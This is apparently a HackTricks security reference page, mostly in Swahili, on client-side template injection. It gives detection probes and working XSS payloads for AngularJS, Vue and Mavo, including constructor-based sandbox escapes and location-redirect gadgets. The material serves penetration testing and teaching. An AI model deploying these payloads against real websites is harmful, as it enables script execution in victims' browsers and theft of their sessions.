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79 lines
4.4 KiB
Markdown
79 lines
4.4 KiB
Markdown
# Client Side Template Injection (CSTI)
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{{#include ../banners/hacktricks-training.md}}
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## Summary
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Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kutekeleza msimbo** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kutekeleza msimbo wa JavaScript** wa kiholela katika kivinjari cha mwathirika.
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**Kujaribu** kwa ajili ya udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, na mzigo kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`
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## AngularJS
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AngularJS ni mfumo wa JavaScript unaotumika sana ambao unawasiliana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
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Katika hali ambapo pembejeo ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na alama ya `ng-app`, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
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```javascript
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{{$on.constructor('alert(1)')()}}
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{{constructor.constructor('alert(1)')()}}
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<input ng-focus=$event.view.alert('XSS')>
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<!-- Google Research - AngularJS -->
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<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
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```
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Unaweza kupata mfano wa **msingi mtandaoni** wa udhaifu katika **AngularJS** katika [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) na katika [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
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> [!CAUTION] > [**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kutoka toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
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## VueJS
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Unaweza kupata utekelezaji wa **Vue** ulio na udhaifu katika [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
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Payload inayofanya kazi: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
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Na **msimbo wa chanzo** wa mfano ulio na udhaifu hapa: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
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```html
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<!-- Google Research - Vue.js-->
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"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
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```
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A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
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### **V3**
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```
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{{_openBlock.constructor('alert(1)')()}}
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```
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Mwandiko: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
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### **V2**
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```
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{{constructor.constructor('alert(1)')()}}
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```
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Mshikamano: [Mario Heiderich](https://twitter.com/cure53berlin)
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**Angalia zaidi VUE payloads katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
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## Mavo
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Payload:
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```
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[7*7]
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[(1,alert)(1)]
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<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
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[self.alert(1)]
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javascript:alert(1)%252f%252f..%252fcss-images
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[Omglol mod 1 mod self.alert (1) andlol]
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[''=''or self.alert(lol)]
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<a data-mv-if='1 or self.alert(1)'>test</a>
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<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
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<a href=[javascript&':alert(1)']>test</a>
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[self.alert(1)mod1]
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```
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**Zaidi ya payloads katika** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
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## **Orodha ya Ugunduzi wa Brute-Force**
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{{#ref}}
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https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
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{{#endref}}
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{{#include ../banners/hacktricks-training.md}}
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